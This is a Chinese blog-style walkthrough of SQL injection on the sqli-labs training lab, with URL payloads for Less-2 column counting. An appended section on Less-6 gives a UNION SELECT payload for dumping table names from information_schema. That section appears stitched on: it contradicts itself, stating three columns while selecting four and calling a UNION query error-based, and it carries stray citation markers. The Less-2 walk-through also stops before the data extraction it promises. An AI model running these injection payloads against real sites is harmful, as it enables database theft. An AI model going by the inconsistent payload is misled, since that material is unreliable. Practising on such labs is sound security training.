sqli-labs第二关sql注入流程

本文详细介绍了在sqli-labs第二关中进行SQL注入的过程,包括判断注入类型为数字型,利用二分法确定回显点,接着爆库名、表名、列名及字段内容,最终成功获取数据库信息。

正常访问

http://127.0.0.1/sqli-labs-master/Less-2/?id=1

判断注入类型

http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

注入字符型报错,注入数字型的正常,判断为数字类型的。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1

开始注入

使用二分法,确定回显点,首先试6,没反应,试3,有反应;试5,无反应,试4,无反应。可以确定回显点为3    %23是#的转义

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23

### SQLi-Labs 第六 报错注入解决方案 在SQLi-Labs第六关中,目标是在存在漏洞的应用程序中利用报错注入获取敏感信息。通过分析输入参数`id`并尝试不同的SQL语法结构可以实现这一点。 当应用程序未正确过滤用户输入时,攻击者可以通过构造特定的SQL查询字符串使服务器返回错误消息,进而泄露数据库内部的信息。对于本案例而言: - 需要构建一个能够触发MySQL错误响应的payload。 - 利用`UNION SELECT`语句结合已知列数(基于前面提到的测试得知有三列),并通过附加特殊字符让查询失败从而暴露更多细节[^2]。 具体操作方法如下所示: ```sql http://localhost/sqli-labs/Less-6/?id=-1' UNION SELECT 1,2,CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- ``` 上述URL中的请求部分包含了精心设计过的SQL片段,其目的是为了让原本正常的SELECT查询与额外定义的选择项组合起来执行;这里选择了information_schema下的tables表作为数据源,并试图提取其中的table_name字段值。由于最后一行使用了注释符(`--`)使得后续可能出现的有效SQL代码被忽略不计,这样就形成了一个完整的恶意指令链路。 需要注意的是,在实际环境中实施此类技术属于非法行为,仅限于授权范围内的安全测试活动内开展研究工作。 #### PHP代码示例展示如何连接到MySQL以及发送查询命令 下面给出一段简单的PHP脚本来说明怎样建立同MySQL之间的链接系,并向它传递一条查询语句: ```php <?php $con = mysql_connect("localhost", "mysql_user", "mysql_pwd"); if (!$con) { die('Could not connect: ' . mysql_error()); } $sql = "SELECT * FROM Person"; mysql_query($sql, $con); // 进行业务逻辑处理... mysql_close($con); ?> ``` 这段代码展示了基本的数据库交互流程,但在现代Web应用开发实践中建议采用更先进的API接口如PDO或mysqli扩展替代过时的mysql_*系列函数[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值